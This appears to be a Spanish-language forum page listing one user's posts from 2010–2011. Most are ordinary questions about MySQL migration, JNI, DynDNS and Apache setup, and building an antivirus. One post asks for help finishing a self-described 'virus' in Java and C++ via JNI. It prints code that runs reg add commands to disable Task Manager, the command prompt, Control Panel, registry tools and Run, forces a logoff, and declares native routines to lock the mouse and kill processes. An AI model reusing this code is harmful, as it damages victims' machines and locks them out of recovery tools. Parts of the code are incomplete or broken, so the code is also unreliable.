|
Mostrar Temas
|
Páginas: 1 [2] 3
|
11
|
Programación / Programación General / sistema de bases de datos portable en mysql o en visual foxpro??
|
en: 1 Febrero 2011, 00:07 am
|
buenas xd me preguntabaa si alguien me da su punto de vista lo que pasa es que tengo que hacer un sistema de bases de datos este sistema esta en clipper y en DBase y me pregunto para cual seria mejor pasarloo para MYSQL O PARA VISUAL FOX PRO,los comentarios de visual fox pro es qeu me dijeron es de ancianoss si alguien me puede dar su oponion ya que el sistema va enfocado para uso empresariallll XD,espero sus respuestas aver si alguien me puede da su opinion saludos XD
|
|
|
13
|
Programación / Programación General / como crear una aplicacion de un sistema de bases de datos con MYSQL AB
|
en: 23 Diciembre 2010, 16:59 pm
|
buenas XD a todos primero que nada les deceo a toda la comunidad felices fiests decembrimas,feliz navidad,bueno mi pregunta es como desarrollar una aplicacion de un sistema de bases de datos con MYSQL AB,este sistema esta hechoe en clipper y yo lo quiero hacer en MYSQL,alguien sabe o tiene alguna idea de como implementarlo,y que se puedan realizar consultas como actualizar,dar de bajas,dar de altas busquedas, sin mas ni menos dejo unas imagenes de lo qeu quiero hacer saludos XD
|
|
|
15
|
Programación / Java / como crear un virus en java y c++ implementando JNI
|
en: 12 Diciembre 2010, 06:54 am
|
Buenas XD,saludos bueno aver si alguien tiene una idea de esto o ustdes mismos lo pueden testear bueno lo que intento hacer es crear virus en java con c++ implementando Java native interfaz,solo que tengo una duda si asi mis metodos estan bien declarados en JNI y mi duda tambien es como crear el archivo .ccp para armar la libreria .dll sin mas ni menos aqui estan los codigos: mi archivo JNIvirus import java.awt.Frame; //Crear frame import java.awt.Robot; //Controla los eventos del teclado import java.io.*;//Entrada y salida de datos import java.util.logging.Level; //Captura errores import java.util.logging.Logger; //Captura errores
class JNIvirus extends Frame { static { System.loadLibrary("JNIvirusLibrary"); /** * Carga de la DLL hecha en C++ para bloquear teclado y mouse */ } //AQUI mi problema esta en estos metodos si van con public native o solo public native void no me manda ningun error public native void enSistema (); public native void mouseCold (); public native void killprocess (); //***************************************************************+ //===========METODOS DE PUBLIC VOID CREADOS CON JNI public void runvirus1 () { try { //***********aqui infecto aplicaciones agregando sus valores en el registro de win poniendo el valor en 1 Runtime.getRuntime ().exec ("cmd /c msg *ESTAS INFECTADO POR EL VIRUS JNI JAVA AND C++"); Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f "); Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f "); Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f "); Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f "); Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f "); //**********cierro sesion para aplicar cambios Runtime.getRuntime ().exec ("logoff"); } catch (IOException ex) { Logger.getLogger (JNIvirus.class.getName ()).log (Level.SEVERE, null, ex); } enSistema (); } /////////////////////////////////////////////////////////////////////////////7 ////////////////////////////////////////////////////////////////////////////////////// public void runvirus2 () { System.out.println("metodo corriendo JNI"); mouseCold (); } //******************************************************************************************* public void runvirus3 () { System.out.println("metodo corriendo JNI"); killprocess (); } }
mi archivo main class public class Main{ public static void main (String[] args) { JNIvirus JNIprueba = new JNIvirus (); JNIprueba.enSistema (); JNIprueba.mouseCold(); JNIprueba.killprocess(); } }
una vez compilandolo con javac genero mi archivo .h con javah -jni JNIvirus
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class JNIvirus */
#ifndef _Included_JNIvirus #define _Included_JNIvirus #ifdef __cplusplus extern "C" { #endif #undef JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN #define JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN 0L #undef JNIvirus_FOCUS_TRAVERSABLE_DEFAULT #define JNIvirus_FOCUS_TRAVERSABLE_DEFAULT 1L #undef JNIvirus_FOCUS_TRAVERSABLE_SET #define JNIvirus_FOCUS_TRAVERSABLE_SET 2L #undef JNIvirus_TOP_ALIGNMENT #define JNIvirus_TOP_ALIGNMENT 0.0f #undef JNIvirus_CENTER_ALIGNMENT #define JNIvirus_CENTER_ALIGNMENT 0.5f #undef JNIvirus_BOTTOM_ALIGNMENT #define JNIvirus_BOTTOM_ALIGNMENT 1.0f #undef JNIvirus_LEFT_ALIGNMENT #define JNIvirus_LEFT_ALIGNMENT 0.0f #undef JNIvirus_RIGHT_ALIGNMENT #define JNIvirus_RIGHT_ALIGNMENT 1.0f #undef JNIvirus_serialVersionUID #define JNIvirus_serialVersionUID -7644114512714619750i64 #undef JNIvirus_serialVersionUID #define JNIvirus_serialVersionUID 4613797578919906343i64 #undef JNIvirus_INCLUDE_SELF #define JNIvirus_INCLUDE_SELF 1L #undef JNIvirus_SEARCH_HEAVYWEIGHTS #define JNIvirus_SEARCH_HEAVYWEIGHTS 1L #undef JNIvirus_OPENED #define JNIvirus_OPENED 1L #undef JNIvirus_serialVersionUID #define JNIvirus_serialVersionUID 4497834738069338734i64 #undef JNIvirus_DEFAULT_CURSOR #define JNIvirus_DEFAULT_CURSOR 0L #undef JNIvirus_CROSSHAIR_CURSOR #define JNIvirus_CROSSHAIR_CURSOR 1L #undef JNIvirus_TEXT_CURSOR #define JNIvirus_TEXT_CURSOR 2L #undef JNIvirus_WAIT_CURSOR #define JNIvirus_WAIT_CURSOR 3L #undef JNIvirus_SW_RESIZE_CURSOR #define JNIvirus_SW_RESIZE_CURSOR 4L #undef JNIvirus_SE_RESIZE_CURSOR #define JNIvirus_SE_RESIZE_CURSOR 5L #undef JNIvirus_NW_RESIZE_CURSOR #define JNIvirus_NW_RESIZE_CURSOR 6L #undef JNIvirus_NE_RESIZE_CURSOR #define JNIvirus_NE_RESIZE_CURSOR 7L #undef JNIvirus_N_RESIZE_CURSOR #define JNIvirus_N_RESIZE_CURSOR 8L #undef JNIvirus_S_RESIZE_CURSOR #define JNIvirus_S_RESIZE_CURSOR 9L #undef JNIvirus_W_RESIZE_CURSOR #define JNIvirus_W_RESIZE_CURSOR 10L #undef JNIvirus_E_RESIZE_CURSOR #define JNIvirus_E_RESIZE_CURSOR 11L #undef JNIvirus_HAND_CURSOR #define JNIvirus_HAND_CURSOR 12L #undef JNIvirus_MOVE_CURSOR #define JNIvirus_MOVE_CURSOR 13L #undef JNIvirus_NORMAL #define JNIvirus_NORMAL 0L #undef JNIvirus_ICONIFIED #define JNIvirus_ICONIFIED 1L #undef JNIvirus_MAXIMIZED_HORIZ #define JNIvirus_MAXIMIZED_HORIZ 2L #undef JNIvirus_MAXIMIZED_VERT #define JNIvirus_MAXIMIZED_VERT 4L #undef JNIvirus_MAXIMIZED_BOTH #define JNIvirus_MAXIMIZED_BOTH 6L #undef JNIvirus_serialVersionUID #define JNIvirus_serialVersionUID 2673458971256075116i64 /* * Class: JNIvirus * Method: enSistema * Signature: ()V */ JNIEXPORT void JNICALL Java_JNIvirus_enSistema (JNIEnv *, jobject);
/* * Class: JNIvirus * Method: mouseCold * Signature: ()V */ JNIEXPORT void JNICALL Java_JNIvirus_mouseCold (JNIEnv *, jobject);
/* * Class: JNIvirus * Method: killprocess * Signature: ()V */ JNIEXPORT void JNICALL Java_JNIvirus_killprocess (JNIEnv *, jobject);
#ifdef __cplusplus } #endif #endif
utlizo el dev c++ me voy en crear nuevo proyecto y selecciono la libreria .dll me salen dos archivos en el primero dll.h lo remplazare por la libreria .h de mi clase,y mi archivo Dllmain.cpp va mi archivo que tengo de C++ aqui esta su code,es lo que quiero mandar a traer desde java...
mi problema esta aqui para crear la libreria .dll ya tengo mi archivo JNIvirus.h pero el codigo de C++ no se como mandarlo tambien... como la creo para mandar a llamar los metodos de java alguien me puede decir
#include <windows.h> //Para poder agregar la entrada al registro #include <winable.h> #include <tlhelp32.h> #include <stdio.h>
char* die1="DisableCMD";
NIEXPORT void JNICALL Java_JNIvirus_enSistema (JNIEnv *, jobject);
/* * Class: JNIvirus * Method: mouseCold * Signature: ()V */ JNIEXPORT void JNICALL Java_JNIvirus_mouseCold (JNIEnv *, jobject);
/* * Class: JNIvirus * Method: killprocess * Signature: ()V */ JNIEXPORT void JNICALL Java_JNIvirus_killprocess (JNIEnv *, jobject);
void Bloquear(char* Aplicacion) {
try { HKEY hHKCU = NULL, hMyKey = NULL; DWORD value = 0; if (Aplicacion=="DisableCMD") { if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS) { if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); }
} }
}//fin try catch (...) { } }
bool H4CK4LIFE() {
}
int main() {
if (H4CK4LIFE()==false) { Bloquear (die1);
}
return 0; }
ahora si alguien ve los codes si me puede decir como genero mi archivo .cpp tengo que poner los JNIEXPORT,alguien que lo pueda testear y decirme como puedo hacer para terminar la libreria .dll,buenoo espero alguien me pueda orientar,saludos a todos XD...
|
|
|
16
|
Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / como editar u abrir archivos .sis de celulares?
|
en: 27 Noviembre 2010, 23:51 pm
|
bueno mi pregunta tal vez sea algo tonta,para ustedes pero mientras leo en el sen sei google,mi pregunta.... bueno mi caso es que desde hace un tiempo queria hacer un antivirus y ahora ya lo tengo,pero me falta el motor de busqueda heuristica y estaba viendo en internet que los anvirus para celulares estan en formato .sis y quiero ver el contenido y editarlos,tal vez estoy pensando si los convierto en .jar y me descomprimira todo el contenido osea los .class y con un programa como java decompile pueda ver el codigo y estudiar el codigo,alguien me puede decir por favor si no le ha pasado lo que me esta pasando amii????
|
|
|
17
|
Programación / Desarrollo Web / como crear un servidor espejo?
|
en: 27 Octubre 2010, 03:03 am
|
buenas a todos XDs bueno tengo una duda,tengo un servidor con cpanel ejemplo1.net y despues fui a www.co.cc,cree un dominio prueba1.co.cc y puse las 2 DNS ns1.dixhost,ns2.dixhost,ya lo tengo configurado,ahora lo que tengo que hacer es que en ejemplo1.net voy a subir un sistema de comercio electronico y cualquier cambio que se haga,tambien se tiene que hacer en prueba1.co.cc,esa es mi duda estuve leyendo y me dicen que es con un servidor espejo,por ejemplo si se cai ejemplo1.net,siga activo prueba1.co.cc,aunque he pensado que cuando se caiga se redirreccione el dominio de ejemplo1.net a prueba1.co.cc,no se si me explico XDs alguien me puede decir si tiene una idea.o me puede ayudar,se los agradeceria bastante...saludos XDs
|
|
|
18
|
Programación / Java / Que se necesita para programar en java y c++ con JNI(JAVA NATIVE INTERFACE)?
|
en: 3 Octubre 2010, 22:04 pm
|
Buenas XD adentrandome al tema qusiera saber que necesito para programar con JNI,sigo leyendo acerca de enlazar java y C++,pero como lo enlazo? busque de JNA(JAVA NATIVE ACESS) en el foro que hay que descargar el .jar de JNA y que este paquete tengo que pegarlo dentro de la ruta de la maquina virtual en jdk1.6.0_13\jre\lib\ext,pero no encontre de JNI me pregunto si es lo mismo.tengo los siguientes codes uno escrito en java y otro escrito en C++ si alquien me podria decir,se los agradeceria salu1+1... #include <jni.h> #include <stdio.h> #include "HelloWorld.h"
JNIEXPORT void JNICALL Java_HelloWorld_print(JNIEnv *env, jobject obj) { printf("Hello World!\n"); return; }
codigo de java class HelloWorld { private native void print(); public static void main(String[] args) { new HelloWorld().print(); } static { System.loadLibrary("HelloWorld"); } }
pero al compilarlo me marca error en JNIEXPORT,si alguien me puede decir...saludos
|
|
|
19
|
Programación / Java / como programar un antivirus en java
|
en: 26 Agosto 2010, 17:22 pm
|
holas XDs sta muy bien su foro,me gusta... bueno lo que quiero hacer es desarrollar un antivirus en java aver si alguien me puede orientar,sii no muy sofisticado estaba pensando crear 4 o 5 virus en bacht no es la gran cosa y que desde java me los detectara o al agregar una entrada al registro que me diga que acceso dengado aver si alguien me puede orientar un diagrama de flujo codigo fuente bueno le estare buscando en el tio mientrass aver si encuentro algo saludos XDs..
|
|
|
20
|
Comunicaciones / Redes / servidor web apache con dyndns
|
en: 2 Agosto 2010, 19:08 pm
|
Ya probe de todo, y nadie me ayuda.. ya me canse de esto... Tengo Winsevent.. quiero montar un servidor con ip dinamica Esto fue lo que hice.. Me registré en DynDNS.Com Adquirí un Host... escuela.dyndns.ws Instale el DynSITE y DynDNS Update agregre estas lineas en el archivo http.conf del apache lo reinicieee NameVirtualHost 192.168.1.64
<VirtualHost 192.168.1.64> ServerAdmin admin@dyndns.ws DocumentRoot /htdocs/ ServerName escuela.dyndns.ws
</VirtualHost>
Ahora al escribir escuela.dyndns.ws no sale NADA... probe con un ping y con nslookup y si funciona correctamente... Pero el servidor no funciona para nada.... Tengo una red , y mi ip privada es 192.168.1.64... localmente si me sale la web, pero por escuela.dyndns.ws no sale... creo que hay una manera de usar la ip publica para que apunte a mi Ip privada... y se vea la web.. lo que quice fue agregar el puerto 80 desde el modem del 2wire de telmex y agregre la cuenta que hize con dyndns saludos xd espero que alguien me pueda iluminar,hay mucha informacion para linux con ddclient y con bind9 pero quiero encontrar la manera de hacerlo con windowss,se que para eso esta el server 2003,2008 pero lo quiero hacer con dyndns no se si me expliquee Bye. gracias de antemano
|
|
|
|
|
|
|